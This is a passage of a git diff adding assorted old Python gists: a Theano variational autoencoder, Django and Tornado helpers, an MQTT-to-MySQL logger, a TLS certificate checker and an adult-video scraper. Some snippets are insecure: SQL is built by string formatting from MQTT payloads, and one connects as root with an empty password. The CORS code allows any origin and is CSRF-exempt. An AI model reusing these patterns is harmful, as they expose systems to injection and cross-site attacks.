+        updates.append([acc, acc_new])
+        updates.append([p, p - acc_new * lr])
+    return updates
+    
+def adagrad(cost, params, lr=0.001, epsilon=1e-6):
+    grads = T.grad(cost=cost, wrt=params)
+    updates = []
+    for p, g in zip(params, grads):
+        acc = theano.shared(p.get_value() * 0.)
+        acc_new = acc + g ** 2
+        gradient_scaling = T.sqrt(acc_new + epsilon)
+        g = g / gradient_scaling
+        updates.append((acc, acc_new))
+        updates.append((p, p - lr * g))
+    return updates
+  
+def RMSprop(cost, params, lr=0.001, rho=0.9, epsilon=1e-6):
+    grads = T.grad(cost=cost, wrt=params)
+    updates = []
+    for p, g in zip(params, grads):
+        acc = theano.shared(p.get_value() * 0.)
+        acc_new = rho * acc + (1 - rho) * g ** 2
+        gradient_scaling = T.sqrt(acc_new + epsilon)
+        g = g / gradient_scaling
+        updates.append((acc, acc_new))
+        updates.append((p, p - lr * g))
+    return updates
+    
+# Parameters
+# Gaussian MLP weights and biases (encoder)
+gaussian_bh = init_weights((n_hidden, ))
+mu_bo = init_weights((n_latent, ))
+sigma_bo = init_weights((n_latent, ))
+
+gaussian_Wh = init_weights((n_input, n_hidden))
+mu_Wo = init_weights((n_hidden, n_latent))
+sigma_Wo = init_weights((n_hidden, n_latent))
+
+# Bernoulli MLP weights and biases (decoder)
+bernoulli_bh = init_weights((n_hidden, ))
+bernoulli_bo = init_weights((n_input, ))
+
+bernoulli_Wh = init_weights((n_latent, n_hidden))
+bernoulli_Wo = init_weights((n_hidden, n_input))
+
+# Only the weight matrices W will be regularized (weight decay)
+W = [gaussian_Wh, mu_Wo, sigma_Wo, bernoulli_Wh, bernoulli_Wo]
+b = [gaussian_bh, mu_bo, sigma_bo, bernoulli_bh, bernoulli_bo]
+params = W + b
+
+# Gaussian Encoder
+x = T.matrix("x")
+h_encoder = T.tanh(T.dot(x, gaussian_Wh) + gaussian_bh)
+mu = T.dot(h_encoder, mu_Wo) + mu_bo
+log_sigma = 0.5*(T.dot(h_encoder, sigma_Wo) + sigma_bo)
+# This expression is simple (not an expectation) because we're using normal priors and posteriors
+DKL = (1.0 + 2.0*log_sigma - mu**2 - T.exp(2.0*log_sigma)).sum(axis = 1)/2.0
+
+# Bernoulli Decoder
+std_normal = T.matrix("std_normal") 
+z = mu + T.exp(log_sigma)*std_normal
+h_decoder = T.tanh(T.dot(z, bernoulli_Wh) + bernoulli_bh)
+y = T.nnet.sigmoid(T.dot(h_decoder, bernoulli_Wo) + bernoulli_bo)
+log_likelihood = -T.nnet.binary_crossentropy(y, x).sum(axis = 1)
+
+# Lower bound
+lower_bound = -(DKL + log_likelihood).mean()
+# Weight decay
+L2 = sum([(w**2).sum() for w in W])
+cost = lower_bound + batch_size/50000.0/2.0*L2
+
+#updates = sgd(lower_bound, params, lr = 0.001)
+updates = RMSprop(cost, params, lr=0.001)
+#updates = adagrad(lower_bound, params, lr=0.02)
+
+train_model = theano.function(inputs=[x, std_normal], 
+                              outputs=cost, 
+                              updates=updates,
+                              mode='FAST_RUN',
+                              allow_input_downcast=True)
+                              
+eval_model = theano.function(inputs=[x, std_normal], outputs=lower_bound,
+                             mode='FAST_RUN',
+                             allow_input_downcast=True) 
+
+print("--- %s seconds ---" % (time.time() - start_time))
+start_time = time.time()
+
+# Load MNIST and binarize it
+datasets = load_data('mnist.pkl.gz')
+train_x, _ = datasets[0]
+train_x = 1.0*(train_x > 0.5)
+val_x, _ = datasets[1]
+val_x = 1.0*(val_x > 0.5)
+tx = theano.function([], T.concatenate([train_x, val_x]))()
+# Using the test set as validation
+tst_x, _ = datasets[2]
+tst_x = 1.0*(tst_x > 0.5)
+vx = theano.function([], tst_x)()
+
+print("--- %s seconds ---" % (time.time() - start_time))
+start_time = time.time()
+
+training = []
+validation = []
+for i in range(n_epochs):
+    minibatch_train = [ tx[j] for j in random.sample(xrange(len(tx)), batch_size) ]
+
+    val_cost = eval_model(vx, np.random.normal(size = (len(vx), n_latent)))
+    train_cost = train_model(minibatch_train, np.random.normal(size = (batch_size, n_latent)))
+    
+    print "epoch", i, "train", train_cost, "val", val_cost
+    
+    training.append(train_cost)
+    validation.append(val_cost)    
+
+plt.subplot(211)
+plt.ylabel("-Lower bound")
+plt.xlabel("Minibatch (" + str(batch_size) + " samples)")
+plt.plot(training, label = "Train")
+plt.legend()
+plt.subplot(212)
+plt.ylabel("-Lower bound")
+plt.xlabel("Minibatch (" + str(batch_size) + " samples)")
+plt.plot(validation, 'r', label = "Validation")
+plt.legend()
+plt.show()
+
+print("--- %s seconds ---" % (time.time() - start_time))
+start_time = time.time()
+
+# Now let's test the auto-encoder on some visual problems
+
+# "Deterministic" decoder (uses only the mean of the Gaussian encoder)
+t = T.vector()
+h_mu = T.tanh(T.dot(t, gaussian_Wh) + gaussian_bh)
+h_bern = T.tanh(T.dot(T.dot(h_mu, mu_Wo) + mu_bo, bernoulli_Wh) + bernoulli_bh)
+yt = T.nnet.sigmoid(T.dot(h_bern, bernoulli_Wo) + bernoulli_bo)
+test_input = theano.function([t], yt,
+                             mode='FAST_RUN',
+                             allow_input_downcast=True)
+
+
+# Reconstruct some random images (with optional salt and peper noise)
+salt_pepper = 0.2
+
+plt.figure()#figsize = (5, 2))
+gs1 = gridspec.GridSpec(5, 2)
+gs1.update(wspace=0.0, hspace=0.0) # set the spacing between axes. 
+
+for i in range(5):
+    test = vx[random.randint(0, len(vx))]
+    test = np.array([test[j] if u > salt_pepper else np.random.choice([0, 1]) for u, j in zip(np.random.uniform(size = n_input), range(n_input))])
+    plt.subplot(gs1[2*i])
+    plt.axis('off')
+    plt.imshow(test.reshape((28, 28)), cmap = cm.Greys_r)
+    plt.subplot(gs1[2*i + 1])
+    plt.axis('off')
+    plt.imshow(test_input(test).reshape((28, 28)), cmap = cm.Greys_r)
+plt.show()
+
+# Now let's visualize the learned manifold
+# We only need the decoder for this (and some way to generate latent variables)
+t = T.vector()
+h = T.tanh(T.dot(t, bernoulli_Wh) + bernoulli_bh)
+yt = T.nnet.sigmoid(T.dot(h, bernoulli_Wo) + bernoulli_bo)
+visualize = theano.function([t], yt,
+                            mode='FAST_RUN',
+                            allow_input_downcast=True)
+
+# Size of visualizations
+size = 10
+
+# For 2 latent variables the manifold can be fully explored on a grid
+plt.figure(figsize = (size, size))
+gs1 = gridspec.GridSpec(size, size)
+gs1.update(wspace=0.0, hspace=0.0) # set the spacing between axes. 
+
+ppf = np.linspace(1E-3, 1.0 - 1E-3, size)
+if n_latent == 2:
+    for i in range(size):
+        for j in range(size):
+            plt.subplot(gs1[size*i + j])
+            plt.axis('off')
+            image = 1.0 - visualize([norm.ppf(ppf[i]), norm.ppf(ppf[j])])
+            plt.imshow(image.reshape((28, 28)), cmap = cm.Greys_r)
+plt.show()
+
+# For any number of latent variables you can sample them and generate fake data
+plt.figure(figsize = (size, size))
+gs1 = gridspec.GridSpec(size, size)
+gs1.update(wspace=0.0, hspace=0.0) # set the spacing between axes. 
+
+for i in range(size):
+    for j in range(size):
+        plt.subplot(gs1[size*i + j])
+        plt.axis('off')
+        image = 1.0 - visualize(np.random.normal(0, 1.0, size = n_latent))
+        plt.imshow(image.reshape((28, 28)), cmap = cm.Greys_r)
+plt.show()
+
+print("--- %s seconds ---" % (time.time() - start_time))
diff --git a/hard-gists/6530635/._snippet.py b/hard-gists/6530635/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6530635/._snippet.py differ
diff --git a/hard-gists/6530635/snippet.py b/hard-gists/6530635/snippet.py
new file mode 100644
index 00000000..e65fecc6
--- /dev/null
+++ b/hard-gists/6530635/snippet.py
@@ -0,0 +1,14 @@
+from django.db import connection
+from django.conf import settings
+cursor = connection.cursor()
+cursor.execute('SHOW TABLES')
+results=[]
+for row in cursor.fetchall(): 
+    results.append(row)
+
+for row in results: 
+    cursor.execute('ALTER TABLE %s CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci;' % (row[0]))
+
+cursor.execute('ALTER DATABASE %s CHARACTER SET utf8;' % settings.DATABASES['default']['NAME'])
+
+
diff --git a/hard-gists/6532185/._snippet.py b/hard-gists/6532185/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6532185/._snippet.py differ
diff --git a/hard-gists/6532185/snippet.py b/hard-gists/6532185/snippet.py
new file mode 100644
index 00000000..4bd14954
--- /dev/null
+++ b/hard-gists/6532185/snippet.py
@@ -0,0 +1,119 @@
+#!/usr/bin/env python
+# September 2013
+# by Matthew Bordignon, @bordignon on Twitter
+#
+# Simple Python script (v2.7x) that subscribes to a MQTT broker topic and inserts the topic into a mysql database
+# This is designed for the http://mqttitude.org/ project backend
+#
+
+import MySQLdb
+import mosquitto
+import json
+import time
+
+#mosquitto broker config
+broker = 'mqtt.localdomain'
+broker_port = 1883
+broker_topic = '/test/location/#'
+#broker_clientid = 'mqttuide2mysqlScript'
+#mysql config
+mysql_server = 'thebeast.localdomain'
+mysql_username = 'root'
+mysql_passwd = ''
+mysql_db = 'mqtt'
+#change table below.
+
+# Open database connection
+db = MySQLdb.connect(mysql_server, mysql_username, mysql_passwd, mysql_db)
+# prepare a cursor object using cursor() method
+cursor = db.cursor()
+
+def on_connect(mosq, obj, rc):
+    print("rc: "+str(rc))
+
+def on_message(mosq, obj, msg):
+    print(msg.topic+" "+str(msg.qos)+" "+str(msg.payload))
+    vars_to_sql = []
+    keys_to_sql = []
+    list = []
+    
+    list = json.loads(msg.payload)
+    
+    for key,value in list.iteritems():
+      print ("")
+      print key, value
+      if key == 'tst':
+        print "time found"
+        print value
+        value = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(float(value)))
+        print value
+        
+      value_type = type(value)
+      if value_type is not dict:
+        print "value_type is not dict"
+        if value_type is unicode:
+          print "value_type is unicode"
+          vars_to_sql.append(value.encode('ascii', 'ignore'))
+          keys_to_sql.append(key.encode('ascii', 'ignore'))
+        else:
+          print "value_type is not unicode"
+          vars_to_sql.append(value)
+          keys_to_sql.append(key)
+    #add the msg.topic to the list as well
+    print "topic", msg.topic
+    addtopic = 'topic'
+    vars_to_sql.append(msg.topic.encode('ascii', 'ignore'))
+    keys_to_sql.append(addtopic.encode('ascii', 'ignore'))
+    
+    keys_to_sql = ', '.join(keys_to_sql)
+
+    try:
+       # Execute the SQL command 
+       # change locations to the table you are using
+       queryText = "INSERT INTO locations(%s) VALUES %r"
+       queryArgs = (keys_to_sql, tuple(vars_to_sql))
+       cursor.execute(queryText % queryArgs)
+       print('Successfully Added record to mysql')
+       db.commit()
+    except MySQLdb.Error, e:
+        try:
+            print "MySQL Error [%d]: %s" % (e.args[0], e.args[1])
+        except IndexError:
+            print "MySQL Error: %s" % str(e)
+        # Rollback in case there is any error
+        db.rollback()
+        print('ERROR adding record to MYSQL')
+
+def on_publish(mosq, obj, mid):
+    print("mid: "+str(mid))
+
+def on_subscribe(mosq, obj, mid, granted_qos):
+    print("Subscribed: "+str(mid)+" "+str(granted_qos))
+
+def on_log(mosq, obj, level, string):
+    print(string)
+
+# If you want to use a specific client id, use
+#mqttc = mosquitto.Mosquitto(broker_clientid)
+# but note that the client id must be unique on the broker. Leaving the client
+# id parameter empty will generate a random id for you.
+mqttc = mosquitto.Mosquitto()
+mqttc.on_message = on_message
+mqttc.on_connect = on_connect
+mqttc.on_publish = on_publish
+mqttc.on_subscribe = on_subscribe
+# Uncomment to enable debug messages
+mqttc.on_log = on_log
+
+mqttc.connect(broker, broker_port, 60)
+mqttc.subscribe(broker_topic, 0)
+
+rc = 0
+while rc == 0:
+    rc = mqttc.loop()
+
+print("rc: "+str(rc))
+
+# disconnect from server
+print ('Disconnected, done.')
+db.close()
\ No newline at end of file
diff --git a/hard-gists/6532334/._snippet.py b/hard-gists/6532334/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6532334/._snippet.py differ
diff --git a/hard-gists/6532334/snippet.py b/hard-gists/6532334/snippet.py
new file mode 100644
index 00000000..57889782
--- /dev/null
+++ b/hard-gists/6532334/snippet.py
@@ -0,0 +1,88 @@
+
+#Send image data to v4l2loopback using python
+#Remember to do sudo modprobe v4l2loopback first!
+#Released under CC0 by Tim Sheerman-Chase, 2013
+
+import fcntl, sys, os
+from v4l2 import *
+import time
+import scipy.misc as misc
+import numpy as np
+
+def ConvertToYUYV(sizeimage, bytesperline, im):
+	padding = 4096
+	buff = np.zeros((sizeimage+padding, ), dtype=np.uint8)
+	imgrey = im[:,:,0] * 0.299 + im[:,:,1] * 0.587 + im[:,:,2] * 0.114
+	Pb = im[:,:,0] * -0.168736 + im[:,:,1] * -0.331264 + im[:,:,2] * 0.5
+	Pr = im[:,:,0] * 0.5 + im[:,:,1] * -0.418688 + im[:,:,2] * -0.081312
+
+	for y in range(imgrey.shape[0]):
+		#Set lumenance
+		cursor = y * bytesperline + padding
+		for x in range(imgrey.shape[1]):
+			try:
+				buff[cursor] = imgrey[y, x]
+			except IndexError:
+				pass
+			cursor += 2
+	
+		#Set color information for Cb
+		cursor = y * bytesperline + padding
+		for x in range(0, imgrey.shape[1], 2):
+			try:
+				buff[cursor+1] = 0.5 * (Pb[y, x] + Pb[y, x+1]) + 128
+			except IndexError:
+				pass
+			cursor += 4
+
+		#Set color information for Cr
+		cursor = y * bytesperline + padding
+		for x in range(0, imgrey.shape[1], 2):
+			try:
+				buff[cursor+3] = 0.5 * (Pr[y, x] + Pr[y, x+1]) + 128
+			except IndexError:
+				pass
+			cursor += 4
+
+	return buff.tostring()
+
+if __name__=="__main__":
+	devName = '/dev/video2'
+	if len(sys.argv) >= 2:
+		devName = sys.argv[1]
+	width = 640
+	height = 512
+	if not os.path.exists(devName):
+		print "Warning: device does not exist",devName
+	device = open(devName, 'wr')
+
+	print(device)
+	capability = v4l2_capability()
+	print "get capabilities result", (fcntl.ioctl(device, VIDIOC_QUERYCAP, capability))
+	print "capabilities", hex(capability.capabilities)
+
+	fmt = V4L2_PIX_FMT_YUYV
+	#fmt = V4L2_PIX_FMT_YVU420
+
+	print("v4l2 driver: " + capability.driver)
+	format = v4l2_format()
+	format.type = V4L2_BUF_TYPE_VIDEO_OUTPUT
+	format.fmt.pix.pixelformat = fmt
+	format.fmt.pix.width = width
+	format.fmt.pix.height = height
+	format.fmt.pix.field = V4L2_FIELD_NONE
+	format.fmt.pix.bytesperline = width * 2
+	format.fmt.pix.sizeimage = width * height * 2
+	format.fmt.pix.colorspace = V4L2_COLORSPACE_JPEG
+
+	print "set format result", (fcntl.ioctl(device, VIDIOC_S_FMT, format))
+	#Note that format.fmt.pix.sizeimage and format.fmt.pix.bytesperline 
+	#may have changed at this point
+
+	#Create image buffer
+	im = misc.imread("Lenna.png")
+	buff = ConvertToYUYV(format.fmt.pix.sizeimage, format.fmt.pix.bytesperline, im)
+
+	while True:		
+		device.write(buff)
+		time.sleep(1./30.)
diff --git a/hard-gists/6536381/._snippet.py b/hard-gists/6536381/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6536381/._snippet.py differ
diff --git a/hard-gists/6536381/snippet.py b/hard-gists/6536381/snippet.py
new file mode 100644
index 00000000..7b3ec6c8
--- /dev/null
+++ b/hard-gists/6536381/snippet.py
@@ -0,0 +1,118 @@
+'''
+Add CORS headers for tastypie APIs
+
+Usage:
+   class MyModelResource(CORSModelResource):
+       ...
+       
+   class MyResource(CORSResource):
+       ...
+       
+Authors:
+   original source by http://codeispoetry.me/index.php/make-your-django-tastypie-api-cross-domain/
+   extensions by @miraculixx
+   * deal with ?format requests
+   * always return CORS headers, even if always_return_data is False
+   * handle exceptions properly (e.g. raise tastypie.BadRequests) 
+   * provide two distinct classes for ModelResource and Resource classes
+'''
+from django.http.response import HttpResponse
+from tastypie import http
+from tastypie.exceptions import ImmediateHttpResponse
+from tastypie.resources import csrf_exempt
+from tastypie.resources import Resource, ModelResource
+import logging
+
+class BaseCorsResource(Resource):
+    """
+    Class implementing CORS
+    """
+    def error_response(self, *args, **kwargs):
+        response = super(BaseCorsResource, self).error_response(*args, **kwargs)
+        return self.add_cors_headers(response, expose_headers=True)
+        
+    def add_cors_headers(self, response, expose_headers=False):
+        response['Access-Control-Allow-Origin'] = '*'
+        response['Access-Control-Allow-Headers'] = 'content-type, authorization'
+        if expose_headers:
+            response['Access-Control-Expose-Headers'] = 'Location'
+        return response    
+    
+    def create_response(self, *args, **kwargs):
+        """
+        Create the response for a resource. Note this will only
+        be called on a GET, POST, PUT request if 
+        always_return_data is True
+        """
+        response = super(BaseCorsResource, self).create_response(*args, **kwargs)
+        return self.add_cors_headers(response)
+
+    def post_list(self, request, **kwargs):
+        """
+        In case of POST make sure we return the Access-Control-Allow Origin
+        regardless of returning data
+        """
+        #logger.debug("post list %s\n%s" % (request, kwargs));
+        response = super(BaseCorsResource, self).post_list(request, **kwargs)
+        return self.add_cors_headers(response, True)
+    
+    def post_detail(self, request, **kwargs):
+        """
+        In case of POST make sure we return the Access-Control-Allow Origin
+        regardless of returning data
+        """
+        #logger.debug("post detail %s\n%s" (request, **kwargs));
+        response = super(BaseCorsResource, self).post_list(request, **kwargs)
+        return self.add_cors_headers(response, True)
+    
+    def put_list(self, request, **kwargs):
+        """
+        In case of PUT make sure we return the Access-Control-Allow Origin
+        regardless of returning data
+        """
+        response = super(BaseCorsResource, self).put_list(request, **kwargs)
+        return self.add_cors_headers(response, True)    
+    
+    def put_detail(self, request, **kwargs):
+        response = super(BaseCorsResource, self).put_detail(request, **kwargs)
+        return self.add_cors_headers(response, True)
+        
+    def method_check(self, request, allowed=None):
+        """
+        Check for an OPTIONS request. If so return the Allow- headers
+        """
+        if allowed is None:
+            allowed = []
+            
+        request_method = request.method.lower()
+        allows = ','.join(map(lambda s: s.upper(), allowed))
+
+        if request_method == 'options':
+            response = HttpResponse(allows)
+            response['Access-Control-Allow-Origin'] = '*'
+            response['Access-Control-Allow-Headers'] = 'Content-Type, Authorization'
+            response['Access-Control-Allow-Methods'] = "GET, PUT, POST, PATCH"
+            response['Allow'] = allows
+            raise ImmediateHttpResponse(response=response)
+
+        if not request_method in allowed:
+            response = http.HttpMethodNotAllowed(allows)
+            response['Allow'] = allows
+            raise ImmediateHttpResponse(response=response)
+
+        return request_method
+    
+    def wrap_view(self, view):
+        @csrf_exempt
+        def wrapper(request, *args, **kwargs):
+            request.format = kwargs.pop('format', None)
+            wrapped_view = super(BaseCorsResource, self).wrap_view(view)
+            return wrapped_view(request, *args, **kwargs)
+        return wrapper
+
+#Base Extended Abstract Model
+class CORSModelResource(BaseCorsResource, ModelResource):
+    pass
+
+class CORSResource(BaseCorsResource, Resource):
+    pass
\ No newline at end of file
diff --git a/hard-gists/654157/._snippet.py b/hard-gists/654157/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/654157/._snippet.py differ
diff --git a/hard-gists/654157/snippet.py b/hard-gists/654157/snippet.py
new file mode 100644
index 00000000..e8819347
--- /dev/null
+++ b/hard-gists/654157/snippet.py
@@ -0,0 +1,86 @@
+# NOTE:  This code was extracted from a larger class and has not been
+# tested in this form.  Caveat emptor.
+import django.conf
+import django.contrib.auth
+import django.core.handlers.wsgi
+import django.db
+import django.utils.importlib
+import httplib
+import json
+import logging
+import tornado.options
+import tornado.template as template
+import tornado.web
+import traceback
+
+from tornado.options import options, define
+
+class BaseHandler(tornado.web.RequestHandler):
+  def prepare(self):
+    super(BaseHandler, self).prepare()
+    # Prepare ORM connections
+    django.db.connection.queries = []
+
+  def finish(self, chunk = None):
+    super(BaseHandler, self).finish(chunk = chunk)
+    # Clean up django ORM connections
+    django.db.connection.close()
+    if options.debug:
+      logging.info('%d sql queries' % len(django.db.connection.queries))
+      for query in django.db.connection.queries:
+        logging.debug('%s [%s seconds]' % (query['sql'], query['time']))
+
+    # Clean up after python-memcached
+    from django.core.cache import cache
+    if hasattr(cache, 'close'):
+      cache.close()
+
+  def get_django_session(self):
+    if not hasattr(self, '_session'):
+      engine = django.utils.importlib.import_module(
+        django.conf.settings.SESSION_ENGINE)
+      session_key = self.get_cookie(django.conf.settings.SESSION_COOKIE_NAME)
+      self._session = engine.SessionStore(session_key)
+    return self._session
+
+  def get_user_locale(self):
+    # locale.get will use the first non-empty argument that matches a
+    # supported language.
+    return tornado.locale.get(
+      self.get_argument('lang', None),
+      self.get_django_session().get('django_language', None),
+      self.get_cookie('django_language', None))
+
+  def get_current_user(self):
+    # get_user needs a django request object, but only looks at the session
+    class Dummy(object): pass
+    django_request = Dummy()
+    django_request.session = self.get_django_session()
+    user = django.contrib.auth.get_user(django_request)
+    if user.is_authenticated():
+      return user
+    else:
+      # try basic auth
+      if not self.request.headers.has_key('Authorization'):
+        return None
+      kind, data = self.request.headers['Authorization'].split(' ')
+      if kind != 'Basic':
+        return None
+      (username, _, password) = data.decode('base64').partition(':')
+      user = django.contrib.auth.authenticate(username = username,
+                                              password = password)
+      if user is not None and user.is_authenticated():
+        return user
+      return None
+
+  def get_django_request(self):
+    request = django.core.handlers.wsgi.WSGIRequest(
+      tornado.wsgi.WSGIContainer.environ(self.request))
+    request.session = self.get_django_session()
+
+    if self.current_user:
+      request.user = self.current_user
+    else:
+      request.user = django.contrib.auth.models.AnonymousUser()
+
+    return request
diff --git a/hard-gists/6551668/._snippet.py b/hard-gists/6551668/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6551668/._snippet.py differ
diff --git a/hard-gists/6551668/snippet.py b/hard-gists/6551668/snippet.py
new file mode 100644
index 00000000..9d0c4d5e
--- /dev/null
+++ b/hard-gists/6551668/snippet.py
@@ -0,0 +1,118 @@
+#!/usr/bin/env python
+#
+# ----------------------------------------------------------------------------
+# "THE BEER-WARE LICENSE" (Revision 42):
+# <dev@robertweidlich.de> wrote this file. As long as you retain this notice you
+# can do whatever you want with this stuff. If we meet some day, and you think
+# this stuff is worth it, you can buy me a beer in return.
+# ----------------------------------------------------------------------------
+#
+
+
+import sys
+
+if len(sys.argv) < 2:
+    print "Usage: %s hostname1 [hostname2] [hostname3] ..." % sys.argv[0]
+    print
+    print "Preparation:"
+    print " $ virtualenv venv"
+    print " $ . venv/bin/activate"
+    print " $ pip install pytz pyasn1 pyOpenSSL ndg-httpsclient"
+
+import ssl
+from datetime import datetime
+import pytz
+import OpenSSL
+import socket
+
+
+from ndg.httpsclient.subj_alt_name import SubjectAltName
+from pyasn1.codec.der import decoder as der_decoder
+import pyasn1
+
+def get_subj_alt_name(peer_cert):
+    '''
+    Copied from ndg.httpsclient.ssl_peer_verification.ServerSSLCertVerification
+    Extract subjectAltName DNS name settings from certificate extensions
+
+    @param peer_cert: peer certificate in SSL connection.  subjectAltName
+    settings if any will be extracted from this
+    @type peer_cert: OpenSSL.crypto.X509
+    '''
+    # Search through extensions
+    dns_name = []
+    general_names = SubjectAltName()
+    for i in range(peer_cert.get_extension_count()):
+        ext = peer_cert.get_extension(i)
+        ext_name = ext.get_short_name()
+        if ext_name == "subjectAltName":
+            # PyOpenSSL returns extension data in ASN.1 encoded form
+            ext_dat = ext.get_data()
+            decoded_dat = der_decoder.decode(ext_dat, asn1Spec=general_names)
+
+            for name in decoded_dat:
+                if isinstance(name, SubjectAltName):
+                    for entry in range(len(name)):
+                        component = name.getComponentByPosition(entry)
+                        dns_name.append(str(component.getComponent()))
+    return dns_name
+
+color = {
+False: "\033[31;1m",
+True: "\033[32;1m",
+'end': "\033[0m",
+'error': "\033[33;1m",
+}
+
+for server in sys.argv[1:]:
+    ctx = OpenSSL.SSL.Context(ssl.PROTOCOL_TLSv1)
+    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    x509 = None
+    try:
+        s.connect((server, 443))
+        cnx = OpenSSL.SSL.Connection(ctx, s)
+        cnx.set_tlsext_host_name(server)
+        cnx.set_connect_state()
+        cnx.do_handshake()
+
+        x509 = cnx.get_peer_certificate()
+        s.close()
+    except Exception as e:
+        print "%30s: %s%s%s" % (server, color['error'], e, color['end'])
+        continue
+
+    issuer = x509.get_issuer()
+    issuer_corp = x509.get_issuer().organizationName
+    issuer_url = x509.get_issuer().organizationalUnitName
+    issuer_x509 = x509.get_issuer().commonName
+
+    server_name = x509.get_subject().commonName
+    server_name_ok = server_name == server
+
+    try:
+        subjectAltNames = get_subj_alt_name(x509)
+    except pyasn1.error.PyAsn1Error:
+        subjectAltNames = []
+    server_name_alt_ok = server in subjectAltNames
+    if server_name_alt_ok:
+        server_name_alt = server
+    elif len(subjectAltNames) == 0:
+        server_name_alt = None
+    else:
+        server_name_alt = subjectAltNames[0]
+
+    if len(subjectAltNames) > 1:
+        server_name_alt += " (+%i)" % (len(subjectAltNames) - 1)
+
+    now = datetime.now(pytz.utc)
+    begin = datetime.strptime(x509.get_notBefore(), "%Y%m%d%H%M%SZ").replace(tzinfo=pytz.UTC)
+    begin_ok = begin < now
+    end = datetime.strptime(x509.get_notAfter(), "%Y%m%d%H%M%SZ").replace(tzinfo=pytz.UTC)
+    end_ok = end > now
+
+    print "%30s: %s%30s%s (alt: %s%30s%s) begin=%s%s%s end=%s%s%s issuer=%s" % (server,
+        color[server_name_ok], server_name, color['end'],
+        color[server_name_alt_ok], server_name_alt, color['end'],
+        color[begin_ok], begin.strftime("%d.%m.%Y"), color['end'],
+        color[end_ok], end.strftime("%d.%m.%Y"), color['end'],
+        issuer_corp)
diff --git a/hard-gists/65538/._snippet.py b/hard-gists/65538/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/65538/._snippet.py differ
diff --git a/hard-gists/65538/snippet.py b/hard-gists/65538/snippet.py
new file mode 100644
index 00000000..e346aa13
--- /dev/null
+++ b/hard-gists/65538/snippet.py
@@ -0,0 +1,124 @@
+from twisted.web import client
+from twisted.internet import reactor, defer
+from lxml import etree
+from StringIO import StringIO
+import re
+import os
+
+save_dir = "~/.video/tube8/"
+base_url = "http://www.tube8.com"
+download_re = re.compile("so.addVariable\('videoUrl',\s*'([\w\d.:/_]*)'\);", re.M)
+url_re = re.compile("http://www\.tube8\.com/\w+/[-]*([\w\d_-]+)/(\d+)/",re.M)
+
+q = []
+dlist = []
+is_run = True
+dl = None
+
+def error(e, url):
+    print("%s is failure." % url)
+    print(e)
+
+def dl_error(e, url):
+    print("%s is failure. retain %d" % (url, len(q)))
+    print(e)
+    if q:
+        download(q.pop())
+    else:
+        global dl
+        def stop(res):
+            global is_run
+            if is_run:
+                reactor.stop()
+                is_run = False
+
+        if not dl:
+            dl = defer.DeferredList(dlist)
+            dl.addCallback(stop)
+
+def finish(result, url):
+    print("finish %s retain %d" % (url, len(q)))
+    if q:
+        download(q.pop())
+    else:
+        global dl
+        def stop(res):
+            global is_run
+            if is_run:
+                reactor.stop()
+                is_run = False
+
+        if not dl:
+            dl = defer.DeferredList(dlist)
+            dl.addCallback(stop)
+
+def download(data):
+    url, save_path = data
+    d = client.downloadPage(url, save_path, supportPartial=1)
+    dlist.append(d)
+    d.addCallback(finish, url).addErrback(dl_error, url);
+
+
+def contents(data, href):
+    n = url_re.search(href)
+    name = ''
+    if n:
+        name = n.group(1)
+        name = name + n.group(2)
+
+    m = download_re.search(data)
+    if m:
+        url = m.group(1)
+        ext = url[url.rfind("."):]
+        filename = name + "_tube8" + ext
+        save_path = os.path.join(save_dir, filename)
+        #print(url)
+        #print(save_path)
+        q.append((url,save_path))
+
+        
+pages = set()
+
+def get_list(data, page_link):
+    parser = etree.HTMLParser()
+    root = etree.parse(StringIO(data), parser)
+    links = root.findall(".//a[@href]")
+    defList = []
+    for e in links:
+        href = e.attrib['href']
+
+        if "/search.html" in href and e.text == ">":
+            pages.add(href)
+        elif url_re.search(href) and 'onmouseover' not in e.attrib:
+            print(href)
+            d = client.getPage(href)
+            defList.append(d)
+            d.addCallback(contents, href).addErrback(error, href)
+    
+    def next(result):
+        if pages:
+            page = pages.pop()
+            print("-" * 80)
+            print(page)
+            get_search_result(page, True)
+        else:
+            q.reverse()
+            for i in xrange(5):
+                download(q.pop())
+
+    dl = defer.DeferredList(defList)
+    dl.addCallback(next)
+
+
+def search(word):
+    #url = base_url + "/search.html?q=%s" % word
+    url = base_url + "/search.html?q=%s&page=1" % word
+    get_search_result(url, True)
+
+def get_search_result(url, page_link):
+    client.getPage(url).addCallback(get_list, page_link).addErrback(error, url)
+
+
+search('japanese')
+
+reactor.run()
diff --git a/hard-gists/6553a21faade20f72e9f/._snippet.py b/hard-gists/6553a21faade20f72e9f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6553a21faade20f72e9f/._snippet.py differ
diff --git a/hard-gists/6553a21faade20f72e9f/snippet.py b/hard-gists/6553a21faade20f72e9f/snippet.py
new file mode 100644
index 00000000..bf2dbfb1
--- /dev/null
+++ b/hard-gists/6553a21faade20f72e9f/snippet.py
@@ -0,0 +1,824 @@
+# This is a modified version of FT232H that allows SPI transfers greater then 1k by sending the array in chunks.
+
+# Copyright (c) 2014 Adafruit Industries
+# Author: Tony DiCola
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in
+# all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
